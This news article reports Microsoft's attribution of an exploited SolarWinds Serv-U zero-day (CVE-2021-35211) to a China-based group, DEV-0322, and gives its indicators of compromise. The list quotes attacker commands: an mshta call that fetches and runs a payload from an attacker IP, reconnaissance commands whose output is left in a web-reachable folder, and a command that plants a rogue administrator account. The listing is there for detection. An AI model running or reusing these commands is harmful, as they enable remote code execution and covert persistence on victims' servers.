SolarWinds 0-day gave Chinese hackers privileged access to customer servers

Microsoft said on Tuesday that China-based hackers with a history of attacking software companies and the US Defense industry exploited a zero-day vulnerability in a SolarWinds product.

SolarWinds disclosed the zero-day on Monday after receiving notification from Microsoft that it had discovered that a previously unknown vulnerability in the SolarWinds Serv-U product line was under active exploit. Austin, Texas-based SolarWinds provided no details about the threat actor behind the attacks or how their attack worked.

Commercial VPNs and compromised consumer routers

On Tuesday, Microsoft said it was designating the hacking group for now as “DEV-0322.” “DEV” refers to a “development group” under study prior to when Microsoft researchers have a high confidence about the origin or identity of the actor behind an operation. The company said that the attackers are physically located in China and often rely on botnets made up of routers or other types of IoT devices.

“MSTIC has observed DEV-0322 targeting entities in the US Defense Industrial Base Sector and software companies,” researchers with the Microsoft Threat Intelligence Center wrote in a post. “This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure.”

Microsoft didn’t say if DEV-0322 was targeting software companies, defense contractors, or other types of targets.

Beyond the three attacker-affiliated servers already disclosed by SolarWinds, Microsoft provided three additional indicators that people can use to determine if they were hacked. The indicators of compromise are:

• 98[.]176[.]196[.]89
• 68[.]235[.]178[.]32
• 208[.]113[.]35[.]58
• 144[.]34[.]179[.]162
• 97[.]77[.]97[.]58
• hxxp://144[.]34[.]179[.]162/a
• C:WindowsTempServ-U.bat
• C:WindowsTemptestcurrent.dmp
• The presence of suspicious exception errors, particularly in the DebugSocketlog.txt log file
• C:WindowsSystem32mshta.exe http://144[.]34[.]179[.]162/a (defanged)
• cmd.exe /c whoami> “./Client/Common/redacted.txt”
• cmd.exe /c dir> “.ClientCommonredacted.txt”
• cmd.exe /c “C:WindowsTempServ-U.bat”
• powershell.exe C:WindowsTempServ-U.bat
• cmd.exe /c type \redactedredacted.Archive> “C:ProgramDataRhinoSoftServ-UUsersGlobal Usersredacted.Archive”

Tuesday’s post also provided new technical details about the attack. Specifically:

We observed DEV-0322 piping the output of their cmd.exe commands to files in the Serv-U ClientCommon folder, which is accessible from the internet by default, so that the attackers could retrieve the results of the commands. The actor was also found adding a new global user to Serv-U, effectively adding themselves as a Serv-U administrator, by manually creating a crafted .Archive file in the Global Users directory. Serv-U user information is stored in these .Archive files.

Due to the way DEV-0322 had written their code, when the exploit successfully compromises the Serv-U process, an exception is generated and logged to a Serv-U log file, DebugSocketLog.txt. The process could also crash after a malicious command was run.

By reviewing telemetry, we identified features of the exploit, but not a root-cause vulnerability. MSTIC worked with the Microsoft Offensive Security Research team, who performed vulnerability research on the Serv-U binary and identified the vulnerability through black box analysis. Once a root cause was found, we reported the vulnerability to SolarWinds, who responded quickly to understand the issue and build a patch.

The zero-day vulnerability, which is tracked as CVE-2021-35211, resides in SolarWinds’ Serv-U product, which customers use to transfer files across networks. When the Serv-U SSH is exposed to the Internet, exploits give attackers the ability to remotely run malicious code with high system privileges. From there, attackers can install and run malicious payloads, or they can view and change data.

SolarWinds became a household name overnight in late December when researchers discovered it was at the center of a supply-chain attack with global reach. After compromising SolarWinds’ software build system, the attackers used their access to push a malicious update to roughly 18,000 customers of the company’s Orion network management tool.

Of those 18,000 customers, about nine of them in US government agencies and about 100 of them in private industry received follow-on malware. The federal government has attributed the attacks to Russia’s Foreign Intelligence Service, which is abbreviated as the SVR. For more than a decade, the SVR has conducted malware campaigns targeting governments, political think tanks, and other organizations around the world.

The zero-day attacks that Microsoft discovered and reported are unrelated to the Orion supply chain attack.

SolarWinds patched the vulnerability over the weekend. Anyone running a vulnerable version of Serv-U should update immediately and check for signs of compromise.